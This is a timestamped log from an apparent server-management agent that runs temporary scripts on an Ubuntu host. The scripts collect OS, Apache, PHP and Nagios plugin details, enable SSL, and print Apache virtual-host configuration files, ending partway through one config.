if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-07 10:26:35: 

chmod 755 /tmp/pkp228775; /tmp/pkp228775; rm /tmp/pkp228775

2026-05-07 10:26:35: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-07 10:26:35: Performing Server Status
2026-05-07 10:26:35: 

PUT: /tmp/pkp799227

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-05-07 10:26:35: 

chmod 755 /tmp/pkp799227; /tmp/pkp799227; rm /tmp/pkp799227

2026-05-07 10:26:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
condor

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-111-generic



2026-05-07 10:26:35: 

PUT: /tmp/pkp482072

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-05-07 10:26:35: 

chmod 755 /tmp/pkp482072; /tmp/pkp482072; rm /tmp/pkp482072

2026-05-07 10:26:35: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 32182
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       32182  0.0  1.0 261228 42836 ?        Rs   May06   0:08 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-05-07 10:26:35: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'condor',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'reqtimeout_module',
      27 => 'rewrite_module',
      28 => 'setenvif_module',
      29 => 'socache_shmcb_module',
      30 => 'ssl_module',
      31 => 'status_module',
    ),
  ),
)


2026-05-07 10:26:35: 

PUT: /tmp/pkp215500

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-05-07 10:26:35: 

chmod 755 /tmp/pkp215500; /tmp/pkp215500; rm /tmp/pkp215500

2026-05-07 10:26:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-05-07 10:26:35: 

PUT: /tmp/pkp936284

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-05-07 10:26:35: 

chmod 755 /tmp/pkp936284; /tmp/pkp936284; rm /tmp/pkp936284

2026-05-07 10:26:36: 


[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30


2026-05-07 10:26:36: 

PUT: /tmp/pkp516367

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-05-07 10:26:36: 

chmod 755 /tmp/pkp516367; /tmp/pkp516367; rm /tmp/pkp516367

2026-05-07 10:26:36: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= 6a57c97a068e4096b2875dbb469b0322
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-05-07 10:26:36: 

PUT: /tmp/pkp409618

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-05-07 10:26:36: 

chmod 755 /tmp/pkp409618; /tmp/pkp409618; rm /tmp/pkp409618

2026-05-07 10:26:36: 


status=ok


2026-05-07 10:26:36: 

PUT: /tmp/pkp549882

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-07 10:26:36: 

chmod 755 /tmp/pkp549882; /tmp/pkp549882; rm /tmp/pkp549882

2026-05-07 10:26:36: 
2026-05-07 10:26:36: 

PUT: /tmp/pkp723347

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/patientappsinc_www_com.conf')
    show_file('/etc/apache2/sites-available/youngrepairs_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-07 10:26:36: 

chmod 755 /tmp/pkp723347; /tmp/pkp723347; rm /tmp/pkp723347

2026-05-07 10:26:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/patientappsinc_www_com.conf	1920
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www/public
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
